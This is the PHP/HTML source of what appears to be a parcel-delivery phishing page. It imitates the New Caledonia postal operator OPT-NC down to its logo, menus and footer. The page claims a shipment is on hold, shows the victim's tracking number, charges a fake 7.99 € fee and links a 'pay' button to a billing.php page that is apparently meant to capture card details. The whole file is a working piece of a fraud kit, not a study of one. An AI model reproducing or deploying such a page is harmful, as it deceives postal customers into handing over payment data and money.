<?php 
     require_once "functions.php";
     $_SESSION['lang'] = 'fr';
?>
<!DOCTYPE html>
<html>
<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <!-- link_icons -->
        <link rel="stylesheet"  href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css">
        <link rel="stylesheet"  href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css"> 
        <title>OPT-NC | Suivi de colis</title>
        <!-- logo site web-->
        <link rel="icon" href="image/opt-favicon.png" type="image/png"/>
        <link rel="shortcut icon" href="image/opt-favicon.png" type="image/png" />
        <!-- link__css -->
        <link rel="stylesheet"  href="css/bootstrap.css">
        <link rel="stylesheet"  href="css/styless.css">
</head>
<body>
        <!-- Start____Navbar -->
        <div class="navbar">
        	<div class="container-fluid">
        		<div class="topping">
        			<img src="image/opt-logo.png">
        			<ul class="web">
        				<li><i class="bi bi-exclamation-circle me-2"></i>Alerte(1)</li>
        				<li>Nous contacter</li>
        				<li><i class="bi bi-globe me-2"></i>Français</li>
        				<li><i class="bi bi-search me-2"></i>Recherche</li>
        			</ul>
        			<ul class="respo">
        				<li><i class="bi bi-list"></i></li>
        				<li></li>
        			</ul>
        		</div>
        		<div class="bottomin">
        			<ul>
        				<li>Suivi<i class="bi bi-chevron-down ms-1"></i></li>
        				<li>Envoyer<i class="bi bi-chevron-down ms-1"></i></li>
        				<li>Services postaux<i class="bi bi-chevron-down ms-1"></i></li>
        				<li>Service client<i class="bi bi-chevron-down ms-1"></i></li>
        			</ul>
        			<p><i class="bi bi-person-fill me-2"></i>Mon espace client</p>
        		</div>
        	</div>
        </div>
        <!-- End____Navbar -->
        <!-- Start____Home -->
        <div class="home" style="background: white;height: 500px;">
        	<div class="otside" style="background: white;padding-top:50px;">
        		<div class="container"> 
        			<div class="lettre" style="background: white;">
        				<div class="titre">
        					<b class="mb-3"><img src="image/box.svg"  width="30px" class="me-2"><?php echo get_text('hold_shipment'); ?></b>
                            <br>
                            <p style="color:rgba(0, 0, 0, 0.8);font-size:12px;font-weight:600;"><?php echo date('l jS \of  h:i A'); ?></p>
        				</div>
        				<div class="steps">
        					<span class="green"></span>
        					<span class=" yellow" style="background:#FFA500;"><div>!</div></span>
        					<span></span>
        				</div>
        				<div class="msaws mt-4">
							<div class="right">
								<div class="offre">
                                    <div class="status">
                                        <p><?php echo get_text('parcel'); ?></p>
                                    </div>
                                    <div class="status">
                                        <p><?php echo get_text('tracking'); ?> <b style="text-transform: uppercase;"><?php echo $_SESSION['track']?></b></p>
                                    </div>
                                </div>
							</div>
    						<div class="important mt-4">
    							<div >
                                    <b class="d-flex align-iems-center"><?php echo get_text('Further'); ?><img src="image/info.svg"></b>
                                    <p><?php echo get_text('further_data'); ?></p>                     
                                </div>
                                <div>
                                    <b><?php echo get_text('Further2'); ?></b>
                                    <p><?php echo get_text('further_data2'); ?></p>                     
                                </div>
    						</div>
                            <div class="taxes">
                                <ul class="nav justify-content-between">
                                    <li class="nav-item cc"><?php echo get_text('taxes'); ?></li>
                                    <li class="nav-item"><b>7.99 €</b></li>
                                </ul>
                            </div>
                            <div class="bossa">
                                <p style="font-style: italic;color: rgba(0, 0, 0, 0.7);font-size: 12px;"><?php echo get_text('notice'); ?></p>
                                <a href="billing.php"><button class="btn"><?php echo get_text('pay'); ?></button></a>
                            </div>
        				</div>
        			</div>
        		</div>
        	</div>
        </div>
        <!-- Ennnd____Home -->
        <!-- Start___Fotter -->
        <div class="fotter">
        	<div class="container-fluid">
        		<div class="row">
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="power ">Centre d'assistance</li>
        					<li>Service clientèle</li>
        					<li>Mon espace client</li>
        					<li>Partenaires numériques</li>
        					<li>Portail des développeurs</li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active">Nos services</li>
							<li>Courrier et Colis</li> 
							<li>Services Financiers</li>
							<li>Télécommunications</li>
							<li>Numérique</li>
							<li>Philatélie</li>
							<li>Boutique en ligne</li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active">Informations pratiques</li>
							<li>Agences et horaires</li>
							<li>Tarifs postaux</li>
							<li>Suivi de colis</li>
							<li>Formalités douanières</li>
							<li>Régler en ligne</li>
							<li>Réclamations</li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active">À propos d'OPT-NC</li>
							<li>Qui sommes-nous</li>
							<li>Recrutement</li>
							<li>Actualités</li>
							<li>Développement durable</li>
							<li>Partenaires</li>
        				</ul>
        			</div>
        		</div>
        	</div>
        </div>
        <!-- Ennnd___Fotter -->
        <!-- STAAAART_SOUS -->
        <div class="sous ">
        	<div class="container-fluid">
        		<div class="row">
        			<div class="col-lg-9">
        				<img src="image/opt-logo.png" style="width:120px;">
        				<ul>
        					<li>Mentions légales</li>
        					<li>Conditions d'utilisation</li>
        					<li>Politique de confidentialité</li>
        					<li>Cookies</li>
        					<li>Accessibilité</li>
        					<li>Plan du site</li>
        				</ul>
        			</div>
        			<div class="col-lg-3">
        				<h6>Suivez-nous</h6>
        				<img src="image/socio.png" class="socio">
        			</div>
        			<div class="text-center ss">2024 © OPT Nouvelle-Calédonie. Tous droits réservés.</div>
        		</div>	
        	</div>
        </div>
        <!-- ENNNNNND_SOUS -->
        <script src="js/jquery-3.5.1.min.js"></script>
        <script src="js/jquery.mask.js"></script>
        <script>
        </script>
</body>
</html>
